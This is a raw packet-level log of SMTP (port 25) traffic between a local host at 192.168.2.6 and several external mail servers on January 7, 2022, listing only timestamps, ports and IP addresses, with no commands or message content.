Jan 7, 2022 15:44:06.370172977 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.370357990 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.370378971 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.370400906 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.370457888 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.370457888 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.370501995 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.370518923 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.370543003 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.370589018 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.370661974 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.370708942 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.370732069 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.370790958 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.370811939 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.370815992 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.370837927 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.370882988 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.370898008 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.370920897 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.370955944 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.371016979 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.371049881 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.371098042 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.371114016 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.381840944 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.381875038 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.381967068 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.382318020 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.382359982 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.382386923 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.382474899 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.382693052 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.383639097 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.383805990 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.399102926 CET	25	50000	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:06.399364948 CET	50000	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:06.456779957 CET	25	50000	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:06.460812092 CET	25	50000	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:06.461066008 CET	50000	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:06.461122990 CET	50000	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:06.461801052 CET	50002	25	192.168.2.6	74.125.200.27
Jan 7, 2022 15:44:06.475344896 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.475370884 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.475388050 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.475404024 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.475419998 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.475435972 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.475451946 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.475456953 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.475464106 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.475509882 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.475517988 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.476180077 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.476246119 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.476268053 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.476284981 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.476332903 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.476423025 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.476442099 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.476492882 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.513497114 CET	25	50000	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:06.513545036 CET	25	50000	142.250.150.27	192.168.2.6
Jan 7, 2022 15:44:06.513586998 CET	50000	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:06.513633966 CET	50000	25	192.168.2.6	142.250.150.27
Jan 7, 2022 15:44:06.525636911 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.525676012 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.525814056 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.525840044 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.525942087 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.525969028 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.525993109 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.526019096 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.526092052 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.526212931 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.526240110 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.526263952 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.526288986 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.526489973 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.526516914 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.526542902 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.526565075 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.526587963 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.526727915 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.526753902 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.526802063 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.526829004 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.526851892 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.526968956 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.526993990 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.527019978 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.527082920 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.527108908 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.527201891 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.527228117 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.527394056 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.527420998 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.527445078 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.527568102 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.527595043 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.527726889 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.527753115 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.527776957 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.527847052 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.527872086 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.528006077 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.528031111 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.528125048 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.528244972 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.528379917 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.528407097 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.528518915 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.528608084 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.528784037 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.528810978 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.528944016 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.529027939 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.529109955 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.529134035 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.529242039 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.529320955 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.529422998 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.529494047 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.529510975 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.529527903 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.529712915 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.529736996 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.529762030 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.529787064 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.529810905 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.529855013 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.529900074 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.529927969 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.529951096 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.529969931 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.529984951 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.530081987 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.530117035 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.530147076 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.530498028 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.530525923 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.530603886 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.530607939 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.530633926 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.530663013 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.530688047 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.530710936 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.530719042 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.530735016 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.530762911 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.530787945 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.530822039 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.530829906 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.530844927 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.530853033 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.530868053 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.530878067 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.530903101 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.530924082 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.530945063 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.530968904 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.530992031 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.530993938 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.531017065 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531032085 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.531039953 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531054974 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.531064987 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531080961 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.531089067 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531111956 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531112909 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.531135082 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531158924 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531182051 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531204939 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531227112 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531250954 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531274080 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531295061 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531299114 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.531317949 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531341076 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531349897 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.531363964 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531383991 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.531388044 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531426907 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531431913 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.531467915 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.531490088 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531505108 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.531514883 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531610012 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531632900 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531642914 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.531656027 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531678915 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531702042 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531723022 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531744003 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.531757116 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531783104 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531795025 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.531810999 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531836033 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531858921 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531879902 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.531903982 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.531941891 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.531966925 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.531995058 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.532032967 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.532057047 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532082081 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532104015 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532125950 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532150030 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532152891 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.532176018 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532191038 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.532236099 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532286882 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.532298088 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532321930 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532342911 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532366037 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532388926 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532411098 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532469034 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532491922 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532516003 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532574892 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532599926 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532679081 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532752037 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532776117 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532799959 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532869101 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532918930 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532943010 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.532963991 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.533066034 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.533096075 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.533118010 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.533140898 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.533163071 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.533178091 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.533188105 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.533221960 CET	25	49987	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:06.533251047 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.533272982 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.533276081 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.533294916 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.533317089 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.533334017 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.533349991 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.533355951 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.533366919 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.533390045 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.533412933 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.533427000 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:06.533436060 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.533457994 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.539613008 CET	25	49987	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:06.572014093 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.572120905 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.572144032 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.572237968 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.573204041 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.573235989 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.573273897 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.573338032 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.573363066 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.574054956 CET	25	49994	54.244.49.115	192.168.2.6
Jan 7, 2022 15:44:06.574178934 CET	49994	25	192.168.2.6	54.244.49.115
Jan 7, 2022 15:44:06.634929895 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.634974957 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.635003090 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.651153088 CET	50003	25	192.168.2.6	104.47.18.74
Jan 7, 2022 15:44:06.677084923 CET	25	50003	104.47.18.74	192.168.2.6
Jan 7, 2022 15:44:06.677277088 CET	50003	25	192.168.2.6	104.47.18.74
Jan 7, 2022 15:44:06.687176943 CET	25	49987	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:06.687366962 CET	49987	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:06.687500954 CET	25	49987	74.125.200.26	192.168.2.6
Jan 7, 2022 15:44:06.687601089 CET	49987	25	192.168.2.6	74.125.200.26
Jan 7, 2022 15:44:06.689147949 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.689181089 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.689336061 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.689362049 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.689733028 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.689760923 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.689789057 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.690663099 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.690818071 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.690845966 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.690917969 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.691255093 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.691281080 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.691308022 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.691477060 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.691881895 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.691926956 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.691957951 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.691983938 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.692011118 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.692202091 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.692555904 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.692784071 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.692806959 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.692821026 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.692837000 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.692940950 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.692960024 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.692969084 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693053961 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693072081 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693082094 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693162918 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693176985 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693188906 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693278074 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693294048 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693506002 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693522930 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693537951 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693552017 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693563938 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693573952 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693582058 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693595886 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693672895 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693682909 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693694115 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693706036 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693717003 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693754911 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693800926 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693818092 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:06.693833113 CET	25	49992	173.228.157.39	192.168.2.6
